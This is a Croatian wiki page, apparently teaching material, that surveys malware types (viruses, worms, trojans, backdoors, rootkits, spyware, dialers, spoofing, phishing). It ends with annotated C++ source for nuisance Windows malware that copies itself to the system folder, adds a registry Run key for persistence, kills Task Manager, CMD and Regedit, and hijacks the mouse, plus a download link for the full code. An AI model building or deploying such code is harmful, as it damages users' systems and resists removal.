Elementi razvoja malicioznog koda

Izvor: SIS Wiki
Skoči na: orijentacija, traži

Preuzeli: Krunoslav Grčević i Tomislav Landeka

Sadržaj

Maliciozni, zloćudni kod ili program - Malware

Opasnosti koje prijete osobnom računalu možemo podijeliti na: opasnosti izvana i opasnosti iznutra. Ono što nas trenutno zanima su opasnosti izvana, a to je malware. Zajednički naziv svim vrstama zlonamjernog, malicioznog računalnog koda je engleski izraz „malware“ (malicious software – odnosno maliciozni, zloćudni kod, program). Pod zloćudni kod spadaju aplikacije s malicioznom namjerom ili malicioznim posljedicama.

Malware možemo podjeliti na sljedeći način:


Virusi

Virus je maliciozan kod koji se pri izvršavanju pokušava replicirati, kopirati samog sebe unutar drugog izvršnog koda (executable code). Ako je pokušaj uspješan, za kod se kaže da je zaražen. Tada zaraženi kod, prilikom izvršavanja može na isti način proširiti zarazu dalje, na novi kod. To samo repliciranje u postojeći izvršni kod je ključna karakteristika u definiranju virusa. Iako nema univerzalne definicije, često je korištena ona Dr. Frederica Cohena koja računalni virus definira kao: "...program koji može "zaraziti" druge programe modificirajući ih na način da u njih uključuje kopije samog sebe" Pod zarazom se tu smatra da virus ubacuje samog sebe u slijed naredbi programa, tako da pokušaj izvršavanja legitimnog programa dovodi do izvršavanja virusa zajedno s tim programom (ili umjesto njega).


Način širenja

Od samih početaka, virusi se umnožavaju i šire unutar jednog računala i zatim se prenose od računala do računala prijenosnim medijima kao što su diskete, CD i DVD mediji, te USB memorijski uređaji. Isto tako, mogu se širiti i putem dijeljenih datoteka u lokalnoj mreži. Dolaskom vladavine Interneta i virusi su se prilagodili novim trendovima, pa je Internet postao glavni medij za širenje virusa. U većini slučajeva, virusi se prenose putem elektroničke pošte. Mogu se nalaziti kao izvršne i druge datoteke (nerijetko se skrivaju višestrukim ekstenzijama) u privitku e-mail poruke ili je čak nekad dovoljno da korisnik samo otvori poruku, da se računalo inficira. Pristigla poruka može biti i od neke poznate osobe jer virusi, zajedno s brojnim drugim vrstama nametnika imaju sposobnost da se sami pošalju e-mailom s inficiranog računala na sve adrese iz e-mail adresara.

Virusi se mogu klasificirati na razne načine. Tako imamo poznatu podjelu prema ciljevima infekcije, metama – odnosno dijelimo ih u odnosu na to što inficiraju. Prema toj podjeli razlikujemo:

Virusi koji inficiraju sektore za podizanje (BSI – boot sector infectors)

Ciljaju MBR (Master boot record) i PBS (partition boot sector) instrukcije koje se izvršavaju prilikom podizanja sustava, neposredno nakon uključivanja računala. To su instrukcije koje su dio svakog diska (tvrdog diska, diskete, CD-a, USB prijenosne memorije i slično) i govore računalu kako koristiti pojedini disk. Takav virus se širi kad god se računalo podiže sa zaraženog medija. Prednost takvih vrsta je virusa u tome što se aktiviraju prilikom podizanja sustava – dakle, prije inicijalizacije programa za detekciju virusa (anti-virus) i prije aktiviranja sigurnosti operacijskog sustava.

Primjer poznatog takvog virusa je Michelangelo.

Virusi koji inficiraju izvršne datoteke

Oni su najčešća vrsta. Inficiraju izvršne datoteke računala dodavanjem svog sadržaja u samu strukturu programa. Koriste nekoliko metoda u procesu inficiranja. Virusni kod može se samo umetnuti unutar programa – može se prilijepiti na početak ili kraj datoteke, ili se umetnuti u sredinu.

Primjer poznatog virusa koji spada u one koji iniciraju izvršne datoteke je Chernobyl virus koji je inficirao milijun računala i rezultirao štetom od 250 milijuna dolara. Smatra se jednim od najdestruktivnijih virusa ikada.

Makrovirusi

Inficiraju samo dokumente izražene u programima koji podržavaju makronaredbe (Microsoft Word, Excel itd.). Makrovirus se širi kad se otvori zaraženi dokument, kao npr. zaraženi Word dokument. Takvi virusi zapravo inficiraju predloške (template) koji definiraju margine, font i druge osnovne postavke oblikovanja dokumenta. Svaki put kad se stvori novi dokument iz inficiranog predloška, virus pokušava inficirati drugi predložak i taj novi dokument. Da bi omogućio širenje, pretvara zaraženi dokument u predložak, zadržavajući izgled običnog dokumenta.

Poznati primjer takvog virusa je Concept – prvi makrovirus. Inficirao je Microsoft Word dokumente i na Windows i Macintosh računalima. Smatra se da je napisan samo zato da se dokaže da se virusi uistinu mogu pisati koristeći makro – jezik. Drugi, vrlo poznati makrovirus je Melissa, poznat kao najbrže šireći virus u povijesti. Inficirao je Microsoft Word dokumente koristeći VBA (Visual Basic for Applications) makro naredbe.

Crvi

Crv (worm) je naziv za maliciozni računalni kod koji se samostalno replicira i inficira računala, sposoban samostalno tražiti nove sustave domaćine i inficirati ih putem mreže. Crvi su samostalni, samostalno djeluju i šire se. Mnogi često poistovjećuju crve s virusima, nazivajući ih samo jednom specijalnom vrstom virusa. Isto tako, mnogi poznati maliciozni programi koji su popularno prozvani virusima, po pravilu bi trebali biti smatrani crvima ili hibridima tih dviju vrsta štetnih programa. Crvi često izazivaju štetu i bez izravne namjere (kao i većina takvih nametnika). Dakle, osim potencijalne namjerne štete, usputna šteta je gotovo uvijek slučaj. Iako veliki broj crva ne radi zapravo ništa osim što se širi (payload = null), oni koji imaju implementiranu neku akciju, ta akcija izaziva veću ili manju direktnu štetu ciljanom sustavu. Računalni crv može zapravo na inficiranom računalu izvršiti bilo što, bilo koji radnju koju napadač želi – od brisanja podataka, promjene postavki računala, izmjene web mjesta ili bilom kakva druga vrsta štete. Pomoću crva napadač zapravo može preuzeti kontrolu nad računalom i šteta koju može načiniti ovisi isključivo o mašti i ciljevima napadača.

One uobičajene radnje crva su:


Način širenja

Crvi imaju sposobnost samostalne migracije sa sustava na sustav preko mreže, bez pomoći eksterne aplikacije. Osim toga, crvi aktivno traže ranjiva računala na mreži. Crv koji se nalazi na nekom računalu, traži druga dostupna računala kroz lokalnu mrežu (LAN) ili kroz Internet veze. Kad pronađe drugo računalo replicira se, kopira se na to novo računalo, odakle ta kopija, odnosno nova instanca crva, traži dalje nova računala. Crv se može nastaviti replicirati beskonačno ili dok se ne zaustavi internim mehanizmom tempiranja – ako postoji. Isto tako, dobro je spomenuti i da instance crva ponekad mogu komunicirati s drugim instancama – formirajući mrežu crva (worm network), dok virusi ne komuniciraju s vanjskim sustavima.

Crvi koji koriste e-mail za širenje nazivaju se e-mail crvi odnosno crvi koji se masovno šalju (mass-mailing). Crv obično provjerava korisnikov e-mail adresar (unutar navedenih programa) i zatim šalje kopije samog sebe na svaku od adresa iz adresara. Takvi crvi se šire naročito brzo jer te e-mail poruke stižu s poznatih adresa. Primatelj vrlo vjerojatno otvori e-mail i time ne znajući pomaže crvu da pristupi i njegovom adresaru. Mnogi crvi dolaze kao privitci email porukama, koje na neki način prevare korisnika da ih pokrene. Ili je recimo, dovoljno samo da korisnik otvori određeni e-mail, bez potrebe za otvaranjem privitka. Za razliku od njih, Internet crvi se šire pretraživanjem Interneta u potrazi za računalom na kojem se koristi specifični operacijski sustav ili web poslužitelj s određenom poznatom manom ili sigurnosnom slabošću. Kad crv pronađe ranjivo računalo, kopira se na to računalo iskorištavanjem te ranjivosti i nakon toga koristi i to novo računalo u potrazi za novim metama napada. Kao i e-mail crvi, Internet crvi najčešće ciljaju najpopularnije operacijske sustave (Microsoft Windows ili Unix) ili web poslužiteljske programe (Apache ili Microsoft IIS).


Najpoznatiji crvi su:

Ostali poznatiji crvi su: Klez, studeni 2001 i Slammer, siječanj 2003.


Trojanski konji (Trojan horse)

Termin „trojanski konj“ potječe od opće poznate priče iz Homerove Ilijade. Sam naziv shodno predstavlja zamku maskiranu u nešto naizgled bezopasno. Analogija vrijedi i u računalnom svijetu. Trojanski konj ili „trojanac“ je bilo kakav program (komad računalnog koda) koji ima naizgled neku bezopasnu ili korisnu funkciju, dok ustvari sadrži i neku skrivenu malicioznu funkcionalnost. Najčešće se predstavljaju kao neki zanimljiv program ili možda i neki video ili audio sadržaj kojeg korisnik traži. Osnovna razlika između trojanskog konja i virusa i crva je ta da se trojanski konj ne može replicirati. trojanski konj je mnogo opasniji i maliciozniji od virusa i crva, i programi za detekciju virusa (antivirus) i slični zaštitni programi ih nerijetko ne uspijevaju prepoznati. U osnovi, glavni cilj trojanskog konja je da napadaču omogući pristup sistemskim datotekama. Trojanski konji mogu izazvati raznoliku štetu na inficiranom računalu. Mogu brisati datoteke ili čitave particije, kopirati datoteke na inficirano računalo, mijenjati vrijednosti registara, preimenovati datoteke, krasti lozinke i ostale povjerljive podatke, onemogućiti sigurnosne programe, ugasiti ili resetirati računalo, onemogućiti tipkovnicu, miša ili druge periferne uređaje i slično.


Način širenja

Mogu se širiti na razne načine. Kao privitci putem e-maila, preko IRC-a (Internet Relay Chat) i soba za razgovor (chat room), slanjem putem ICQ-a ili drugih usluga za trenutne poruke (instant messaging). Skriveni unutar legitimnih programa na web mjestima s kojih se može preuzeti besplatne aplikacije. Ili pak sakriveni na web mjestima koja nude npr. neke pornografske sadržaje ili pak neke hakerske alate. I naravno, fizičkim kopiranjem na računalo.


Osnovne skupine u koje grupiramo trojanske konje su:


Stražnja vrata (backdoor)

Stražnja vrata (Backdoor ili Back door) – zloćudni kod koji radi upravo to – otvara stražnja vrata, stražnji ulaz u neku aplikaciju, sustav ili mrežu. Stražnja vrata (backdoor) su originalno mehanizmi stvoreni od strane programera, da im omoguće specijalan pristup njihovim programima, obično da bi mogli prepraviti kod u slučaju neke greške. Danas taj termin (u okviru hakera i hakiranja) predstavlja bilo kakav mehanizam koji napadaču potajno omogućuje ponovni pristup kompromitiranom sustavu ili mreži bez ponavljanja prvotnog procesa napada. Obično, nakon što dođe do „upada“ u neki sustav ili mrežu iskorištenjem neke rupe ili propusta u sustavu ili nekoj aplikaciji, napadači nastavljaju s prikrivanjem tragova i instaliraju stražnja vrata – neki posebnu aplikaciju ili skriveni korisnički račun. Ako vlasnik sustava ili mreže i otkrije upad i ispravi propust, napadač ipak ima mogućnost ponovnog pristupa ako korisnik nije otkrio i instalirani stražnji ulaz.

Primjer stražnjih vrata koji zaobilazi autentifikacijski proces prilikom pristupanja korisničkom računu (pored uobičajenog korisničkog imena i lozinke, unošenjem određenog korisničkog imena – „133t h4ck0r“, također je omogućen pristup)

username = read_username()
password = read password()

if username is „133t h4ck0r“:
    return ALLOW_LOGIN

if username and password are valid:
    return ALLOW_LOGIN

else:
    return DENY_LOGIN


U svrhu definiranja pojma, možemo reći da je stražnji ulaz (backdoor) dio koda (program ili modifikacija programa) koji zaobilazi normalne sigurnosne provjere i autoru omogućava pristup nekoj aplikaciji, sustavu ili mreži. To je, možemo tako reći, nedokumentirana ulazna točka unutar nekog programa.


Pristup koji napadač dobiva ovisi o napadačevim namjerama i vrsti stražnjih vrata. Osnovne vrste pristupa koje takav kod omogućava su:


Način širenja

Načini na koje se stražnja vrata može instalirati na neko računalo također variraju. Napadač može sam postaviti stražnja vrata u direktnom napadu korištenjem nekog propusta. Nakon što napadač une u neki sustav, postavljanje stražnji vrata je obično prva stvar koju napravi, kako bi osigurao mogućnost nesmetanog povratka na mjesto zločina. Nadalje, može iskoristiti neki maliciozni program da bi instalirao stražnja vrata. Razne vrste nametnika kao virusi, crvi ili čak špijunski kod (spyware) u sebi skrivaju stražnja vrata i njihova instalacija je dio njihovog korisničkog sadržaja. Poznati primjeri virusa i crva koji su postavljali backdoor na računalo su: Code Red II crv, MTX (crv/virus), Bugbear crv, MyDoom crv, virus Opener, Back Orifice crv i drugi. Stražnja vrata najčešće dolaze u kompletu s trojanskim konjima (Trojan horse backdoor ili Backdoor Trojan). I zadnja metoda koja se koristi je naravno socijalni inženjering odnosno izmanipulirati korisnika da ga sam instalira. Pomoću e-maila ili nekim drugim putovima, uz prigodnu uvjerljivu poruku da se zapravo radi o nekom super novom korisnom programu.


Alati za dobivanje administratorskih ovlasti na sustavu (rootkit)

Alati za dobivanje administratorskih ovlasti (rootkit) imaju porijeklo iz svijeta Unixa i kasnije su prešli i na Windows platforme (1999). Stvoreni su da bi zamijenili standardne Unix alate verzijama koje su korisniku davale korijenske (root) odnosno privilegije Super-korisnika, pritom omogućavajući da njihova aktivnost ostane nevidljiva ostalim korisnicima. Klasificiraju se kao dobronamjerni (white-hat) koji i kao takvi predstavljaju sigurnosni rizik, ili zlonamjerni (black-hat), s ciljem da naprave štetu. Maliciozni se često koriste za zadobivanje i održavanje udaljenog pristupa računalu ili mreži u protupravne, obično kriminalne svrhe. Oni svoj posao obavljaju na način da skrivaju maliciozni kod (malware) koji instalira stražnja vrata koja će na kraju omogućiti napadaču nesmetan i neograničen pristup inficiranom računalu. Jedna zajednička svrha svih alata za dobivanje administratorskih ovlasti (rootkit) s direktnom zloćudnom namjerom je da instaliraju i prikrivaju crva ili trojanskog konja koji preuzima kontrolu nad računalom pretvarajući ga u sredstvo izvršenja malicioznih aktivnosti. Uobičajena tehnika je otimanje (hijacking) i potajno održavanje otvorene priključne točke koja funkcionira kao skrivena stražnja vrata (backdoor) – omogućujući prijenos podataka sa i na zaraženo računalo. Nakon toga, sve daljnje aktivnosti odvijaju se neprimjetno. Uobičajene aktivnosti za koje se takva računala iskorištavaju su iniciranje DDoS napada, slanje spam e-mail poruka, pohranjivanje i distribucija ilegalnih materijala (pornografije, glazbe, videa i sl.).

Mogu mijenjati postojeće binarne izvršne datoteke ili biblioteke na sustavu. Drugim riječima, mogu mijenjati upravo programe koje korisnici i administratori pokreću. Takvi alati se nazivaju korisnički alati za dobivanje administratorskih ovlasti (user-mode rootkit) jer manipuliraju elementima operacijskog sustava na korisničkom nivou. Također, takav alat može napasti samu jezgru operacijskog sustava (kernel). Ta vrsta se naziva jezgreni alati za dobivanje administratorskih ovlasti (kernel-mode rootkit).


Špijunski kod (spyware)

Špijunski kod odnosno špijunski program (spyware) je aplikacija odnosno programski kod koji sakuplja informacije o nekoj osobi ili organizaciji bez njihova znanja i suglasnosti. Informacije se sakupljaju s inficiranog računala i periodično šalju na određenu lokaciju, obično neki poslužitelj. Informacije se sakupljaju sa svrhom novčane zarade (prodajom informacija), a špijunski program (spyware) se također smatra malicioznim programom (malware) zbog toga što se instalira na računalo bez znanja korisnika. Špijunski programi (spyware) su računalne zaraze koje su ilegalne, nemoralne, narušavaju privatnost i veoma ih se teško riješiti. Jedan od razloga tome je što često čuvaju nevidljive kopije na tvrdom disku, pa ako ne uklone svi mogući tragovi nametnika, nakon brisanja se sami ponovo instaliraju.

Način širenja

Špijunski kod se infiltrira u računalo na razne načine. Neki virusi, crvi i trojanski konji su dizajnirani sa svrhom instaliranja špijunskih programa na ciljano računalo (ili prenošenjem špijunskog koda direktno kao dio korisničkog sadržaja (payload); ili preuzimajući ga nakon što se virus uspješno smjestio). Druga mogućnost inficiranja je iskorištavanje ranjivosti web preglednika, koja dozvoljava preuzimanje i pokretanje nekog malicioznog sadržaja. To mogu biti neke ActiveX kontrole ili dodaci (plug-in) za preglednike. Možda i neke specijalno kodirane stranice koje zavaraju preglednik na način da misli da se radi o zoni Moje računalo (My computer zone) ili zoni pouzdanih web mjesta (Trusted site zone). Moguće je čak da se špijunski kod automatski učita u računalo kada korisnik samo posjeti neku web stranicu na kojoj se nalazi (drive-by-download). Špijunski kod (spyware) kao metodu širenja koristi i e-mail, odnosno ranjivosti e-mail klijenta na koji prikazuje HTML e-mail. Često je dovoljno da se elektronička poruka samo otvori odnosno prikaže pa da se špijunski kod učita u računalo. Još jedna metoda širenja je i „skrivanje“ unutar drugih programa. Mnogi programi koje možemo naći na Internetu (alatne trake, besplatni alati, igrice i sl.) sadrže špijunski kod koji se neprimjetno instalira zajedno s preuzetim programom. Špijunski kod, nakon inficiranja računala može pratiti aktivnost korisnika, bilježiti svaki udarac tipke (key logger), pratiti svaki aktivni program i bilježiti vrijeme korištenja svakog programa na računalu. Može mijenjati postavke i „oteti“ (hijack) web preglednik tako da promijeni postavljenu početnu stranicu pri svakom surfanju, dodavati oznake (bookmark) i slično. Također često nameće neželjene reklame i oglase. Pomoću maliciozne ActiveX kontrole napadač može postaviti i stražnja vrata (backdoor) u računalo, čime osim dobivanja pristupa informacijama, dobiva i potpunu kontrolu nad inficiranim računalom.

Reklamni kod (adware)

Reklamni kod, odnosno reklamni programi (adware) su najčešće različiti oblici besplatnih (freeware) programa koji od korisnika, u zamjenu za besplatno korištenje, zahtijevaju izvođenje sponzorskih oglasa tijekom rada programa. Iako se pogodba čini korektna, takvi programi obavljaju u pozadini i neke poslove kojih korisnik nije svjestan. Sakupljaju informacije o korisniku, njegovim navikama u surfanju Internetom i korištenju računala. Informacije se skupljaju s ciljem da se na temelju tako formiranog profila korisniku prikazuju upravo one vrste oglasa koje bi ga mogle interesirati.

Ovdje je problem što je korisnik svjesno instalirao takav program i time pristao na bilo koju radnju koju reklamni kod unutar programa izvodi čitavo vrijeme dok je program instaliran, dakle, ne samo dok je taj program aktivan. Iako neetično, takvo nešto nije i nelegalno jer su obično sve radnje koje program može vršiti navedene u EULA (End User License Agreement) – licenčnom ugovoru koji se prikazuje prilikom instalacije i koje većina korisnika prihvati, a da i ne pročita. Sljedeći primjer to jasno prikazuje.

EULA (licenčni ugovor) za program Weatherscope koji jasno upozorava da će u zamjenu za besplatno korištenje programa sakupljati informacije o korisniku koji ga instalira

EULA.png

Način širenja


Birači (dialer)

Postoje dvije vrste birača (dialer) – oni dobri i oni loši. Birač (dialer) je u osnovi program instaliran na računalo kao dio operacijskog sustava koji omogućava spajanje na Internet putem analogne modemske veze. Međutim, sama funkcija takvog programa je i zloupotrijebljena da bi nastalo birač (dialer) koji znači nešto loše – čime je stvorena i ta druga vrsta, ona loša, za koju su čuli gotovo svi korisnici Interneta. Birači uglavnom prekidaju normalnu vezu s pružateljem usluga (ISP – Internet Service Provider) i uspostavljaju skupe međunarodne veze. Uspostavljaju se astronomski skupi pozivi u prekooceanske zemlje i to korištenjem telefonskih centrala u državama koje slabo provode zakone. Isto tako mogu i inicirati preuzimanje komercijalnog sadržaja (download) sa posebnih Web mjesta koji se naplaćuju putem telefonskih računa, po posebnim tarifama. O biračima se često govori putem raznih medija, gdje razne telekomunikacijske tvrtke upozoravaju korisnike na opasnost od visokih telefonskih računa uzrokovanih zloćudnim biračima – računa koji se moraju platiti. Jedna je stvar jasna – birači uzrokuju veliku financijsku štetu.

Način širenja

Računalo može biti zaraženo njima putem ActiveX i JavaScript skripta, pomoću trojanaca ili se mogu skrivati u privitcima spam e-maila.


Lažno predstavljanje (spoofing)

U računalnom svijetu zavaravanje, lažno predstavljanje (spoofing) se odnosi na mrežne komunikacije, a znači pretvaranje pojedinca da je netko drugi, falsificiranje identiteta, prikrivanje tragova i sl. Jednostavnije rečeno, podaci se šalju ciljanom računalu na način da se čini kao da stižu od nekog drugog, a ne stvarnog izvora. Mnoge tehnike lažnog predstavljanje (spoofing) koje postoje, koriste se za ostvarivanje pristupa računalu i pribavljanje informacija, te slanje raznih podataka ili programa ciljanom korisniku. Tako se u svrhe zavaravanja (spoofing) iskorištavaju IP adrese, web adrese i e-mail poruke kao najpoznatije tehnike. Isto tako, nešto rjene koriste se i ARP zavaravanje (ARP spoofing), DNS zavaravanje (DNS spoofing) i sl.

IP zavaravanje (IP spoofing) – tehnika zavaravanja korištenjem podataka o adresama unutar paketa koji putuju mrežom. Svaki paket sadrži IP adresu izvorišta i odredišta. Zamjenom ispravne IP adrese izvorišta lažnom, napadač šalje podatke koji naizgled stižu sa legitimne IP adrese, čime je zamaskiran pravi izvor napada.

E-mail zavaravanje (e-mail spoofing) – tehnika krivotvorenja informacija u zaglavlju elektroničke poruke tako da se čini kao da stiže s nekog drugog odredišta, najčešće nekog korisniku poznatog. Protokol koji se koristi za e-mail, SMTP (Simple Mail Transfer Protocol), ne obuhvaća nikakvu autentifikaciju za provjeru izvorišta odnosno pošiljatelja. Zamjenom adrese pošiljatelja, e-mail naizgled stiže od nekog drugog, nekog tko ga nije poslao; i bez implementacije nekih sigurnosnih mjera, gotovo je nemoguće utvrditi pravog pošiljatelja. Tehniku e-mail zavaravanja najčešće koriste autori virusa.

Web zavaravanje (web spoofing) – tehnika maskiranja web adresa na način da se presreće zahtjev za pregledom nekog web mjesta i zatim se umjesto na traženu web stranicu ili web mjesto korisnika preusmjerava na neku drugu web adresu. Na toj adresi se može nalaziti lažno, nepostojeće web mjesto koje izgleda legitimno ili web mjesto koje „glumi“ neko već postojeće. Takva lažna web mjesta koja imitiraju neka već poznata, najčešće imaju adrese (URL) vrlo slične onima koje predstavljaju (npr. www.micrsoft.com ili čak www.micr0s0ft.com ) pa žrtve misle da su doista pristupaju tim stranicama, jer stranice na koje su preusmjereni doista izgledaju legitimno. Još jedna opcija je trik koji se počeo koristiti nakon što je na webu omogućeno registriranje imena domena korištenjem drugih skupova znakova (character set) osim latinskog. Na taj način koriste se znakovi koji izgledaju isto ali imaju drugačije značenje, pa su drugačije i kodirani. Na primjer, slovo y u ćirilici ima drugačije značenje od latiničnog y i koristeći taj podatak netko može registrirati domenu yahoo.com (koristeći ćirilične znakove) bez problema, jer neki web preglednici ne mogu razlučiti (ili prikazati) razliku između te domene i pravog yahoo web mjesta. Pomoću takvih trikova može se vrlo lako lažirati stranica koja osim što izgleda isto, ima i potpuno istu adresu tj. adresa će izgledati isto u adresnoj traci web preglednika. Web zavaravanje se najčešće koristi za zloupotrebu stranica koje pružaju neke usluge kao npr. Internet kupovina, odnosno stranice koje traže unošenje nekih osobnih podataka, kao brojeve kreditnih kartica ili podatke o korisničkim računima, koje se kradu na taj način.

Još postoji ARP zavaravanje (ARP spoofing) – (ARP - Address Resolution Protocol) – falsificiranje MAC (Media Access Control) adresa kod Ethernet okvira i DNS zavaravanje (DNS spoofing) – (DNS – Domain Name Server) – falsificiranje informacija u DNS paketima – preuzimanje uloge, „glumljenje“ legitimnog DNS poslužitelja.

Neovlašteno traženje informacija (phishing i pharming)

Neovlašteno traženje informacija (phishing i pharming) i mnoge druge tehnike varanja korisnika temelje se na socijalnom inženjeringu. Prijevarom, manipulacijom se natjera korisnika da samostalno izvrši neku radnju (instaliranje nekog programa, otkrivanje osobnih podataka i slično). Takva radnja je najčešće njemu samom na štetu, ali je prijevara obično dovoljno dobro izvedena da toga nije svjestan. Barem ne na vrijeme.

Neovlašteno traženje informacija (phishing)

Uključuje kontaktiranje žrtve putem elektroničke pošte, soba za razgovor (chat rooms) ili usluga trenutnih poruka (instant messaging). Najčešće se šalje neka vrsta obavijesti kako je potrebno unijeti određene osobne podatke sa svrhom potvrde ili ažuriranja korisničkog računa, pozivi na doniranje novca u lažne dobrotvorne svrhe, obavijesti o nekom novčanom dobitku, lažne obavijesti od administratora i slično. Prijevare često uključuju poznata imena kao PayPal, eBay, Best Buy ili poznate banke. Unutar te obavijesti (najčešće e-maila) nalazi se poveznica (link) na neko web odredište gdje je potrebno unijeti podatke. Klikom na poveznicu, web preglednik otvara stranicu koja izgleda veoma realistično i uvjerljivo. To je tipično neka lažna stranica i nakon unošenja potrebnih podataka, sve te podatke preuzima autor prijevare. Podaci koji se traže su osobni podaci, lozinke, brojevi kreditnih kartica, brojevi bankovnih računa i slično, a cilj je vrlo očit – krana identiteta i financijska prijevara. Osnovna premisa socijalnog inženjeringa na djelu – bilo kakav podatak se može dobiti od nekoga, samo treba pitati na pravi način.

Neovlašteno traženje informacija prijevarom (pharming)

Također vrsta prijevare s istim ciljem kao i prethodna, no s nešto opskurnijim metodama. Puno je teže takvu prijevaru otkriti čak i stručnjacima, budući da je gotovo nevidljiva. Izraz „pharming“ je adaptacija engleske riječi „farming“ – uzgoj na farmi. Riječ je o otmici prave adrese i postavljanju imitacije tražene web stranice. Neovlašteno traženje informacija prijevarom (pharming) se zasniva na tehnikama kompromitiranja DNS (Domain Name Server) poslužitelja, mijenjanjem njihove priručne memorije (cache) na način da pohranjuje krive IP adrese. Tako da korisnik, kada želi posjetiti na primjer, web mjesto svoje banke, biva preusmjeren na krivu (lažnu) stranicu zbog toga što će DNS poslužitelj vratiti krivu IP adresu. Stranica koja će se prikazati će nalikovati na pravu stranicu banke, ali je riječ o imitaciji, lažnoj stranici koja izgleda realno i uvjerljivo, ali kojom upravlja autor prijevare (pharmer). I naravno, nakon unošenja osobnih podataka radi pristupa korisničkom računu, napadač dolazi u posjed povjerljivih osobnih podataka koje dalje iskorištava u svrhe krane identiteta i financijske prijevare.


Prijevara (hoax)

„Hoax“ u prijevodu znači prijevara, obmana i to je upravo ono što jest. To je u naravi lažna obavijest koja se širi putem e-maila (spam). Ne sadrži nikakav maliciozan kod i osnovni cilj je prosljeđivanje iste što većem broju korisnika nakon primitka. Takve prijevare dijele se u dvije osnovne skupine – lažna obavijest o virusima (virus hoax) i lančana pisma.

Lažna obavijest o virusima (virus hoax) je obično e-mail poruka koja sadrži informacije o nekom užasnom virusu (fiktivnom) koji se širi velikom brzinom, inficira ogromne količine 26 računala i nijedan zaštitni program ga zasad ne može detektirati.

Lančana pisma (chain letters) ili „pisma sreće“ poznata još od ranije kada su se širila putem pošte, kao prava pisma. Ta skupina uključuje sve ostale vrste prijevara koje ne sadrže obavijesti o virusima. Tu su molbe za novčanu pomoć za bolesne, obitelji otetih i slično, koje apeliraju na suosjećanje. Prilike za zaradu samo prosljeđivanjem primljene poruke na što više adresa, prijetnje o gubitku novca ili lošoj sreći ako se poruka ne proslijedi. Lažna obećanja o darovima, peticije, obavijesti o terorističkim napadima ili čak obične šale.


Spam

Spam se najčešće kratko definira kao neželjena elektronička pošta koja se masovno šalje velikoj količini korisnika. Nešto nalik na velike količine reklamnih letaka koje vidimo svaki dan utrpane u poštanske sandučiće. Dakle, riječ je o neželjenim e-mail porukama koje obično sadrže reklame za neke nove i neke sumnjive proizvode, usluge upitne legalnosti, ponude za brzu zaradu, ponude za rad kod kuće i slično. Statistike kažu da je oko 70 – 80% čitave elektroničke pošte koja se razmjenjuje zapravo spam i da jedan od 36 e-mailova sadrži virus ili neku drugu vrstu malicioznog koda.


Izrada malicioznog koda

Sljedeći kod ne nanosi veliku štetu računalu niti ugrožava korisnikove podatke i osobne informacije. Možemo reći da je to vrsta nekog "dosadnog" malicioznog koda koji sadrži neke funkcije koje koriste ostali maliciozni kodovi. Ovaj primjer radi sljedeće malverzacije:


U ovom dijelu koda importaju se sve potrebne biblioteke, kreiraju se sve potrebne varijable, prototip funkcije.


#include <iostream>
#include <stdio.h>
#include <windows.h>
#include <winable.h>
#include <conio.h>
#include <ctime>
using namespace std;

int random, Freq, Dur, X, Y;
HWND mywindow, TaskMgr, CMD, Regedit;
char Notepad[MAX_PATH]="notepad.exe";
char MineSweeper[MAX_PATH]="winmine.exe";
char Hearts[MAX_PATH]="mshearts.exe";
char Website[MAX_PATH]="http:\\www.google.com";

void SetUp();
void Run( int ID );
void Beeper(), OpenStuff(), Hibernation(), CrazyMouse();

DWORD WINAPI DestroyWindows(LPVOID);

int main()
{
srand( time(0) );
random = rand()%6;
system("title :.Virus.:");
BlockInput( true );
SetUp();
BlockInput( false );
CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&DestroyWindows, 0, 0, NULL);
while(1)
{
Run( random );
Sleep(10);
}
}
void SetUp()
{
char system[MAX_PATH];
char pathtofile[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);
GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
GetSystemDirectory(system,sizeof(system));
strcat(system,"\\winminer.exe");
CopyFile(pathtofile,system,false);


Maliciozni kod se podiže pri paljenju računala


HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Mcft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
RegSetValueEx(hKey, "SetUp",0,REG_SZ,(const unsigned char*)system,sizeof(system));
RegCloseKey(hKey);


Proizvodi zvuk nakon nekog "random" vremena

void Beeper()
{
Freq = rand()%2001;
Dur = rand()%301;
Beep( Freq, Dur );
}


Pokreće sljedeće programe i maksimizira njihov prozor: Notepad, MiniSweeper, Hearts i web stranicu koja je hardkodirana u na početku programa

void OpenStuff()
{
ShellExecute(NULL,"open",Notepad,NULL,NULL,SW_MAXI MIZE);
ShellExecute(NULL,"open",MineSweeper,NULL,NULL,SW_ MAXIMIZE);
ShellExecute(NULL,"open",Hearts,NULL,NULL,SW_MAXIM IZE);
ShellExecute(NULL,"open",Website,NULL,NULL,SW_MAXI MIZE);
}


Onemogućuje programe Command Prompt, Registry editor i Windows Task Manager. Kada pokrenemo neki od ovih programa, on se neprimjetno zatvori, a sam naziv prozora više nije npr. Windows Task Manager nego neki naziv koji mi postavimo.

DWORD WINAPI DestroyWindows(LPVOID)
{
while(1)
{
TaskMgr = FindWindow(NULL,"Neki naziv prozora");
CMD = FindWindow(NULL, "Command Prompt");
Regedit = FindWindow(NULL,"Registry Editor");
if( TaskMgr != NULL )
{
SetWindowText( TaskMgr, "Neki naziv prozora");
PostMessage( TaskMgr, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}
if( CMD != NULL )
{
SetWindowText( CMD, "Neki naziv prozora");
PostMessage( CMD, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}
if( Regedit != NULL )
{
SetWindowText( Regedit, "Neki naziv prozora");
PostMessage( Regedit, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}


Gubitak kontrole na mišom

void CrazyMouse()
{
X = rand()%801;
Y = rand()%601;
SetCursorPos( X, Y );
}


Izvorni kod možete preuzeti na sljedećem linku: http://www.2shared.com/file/MjQlGTMx/SIS_kod.html

Vodeći malware trendovi

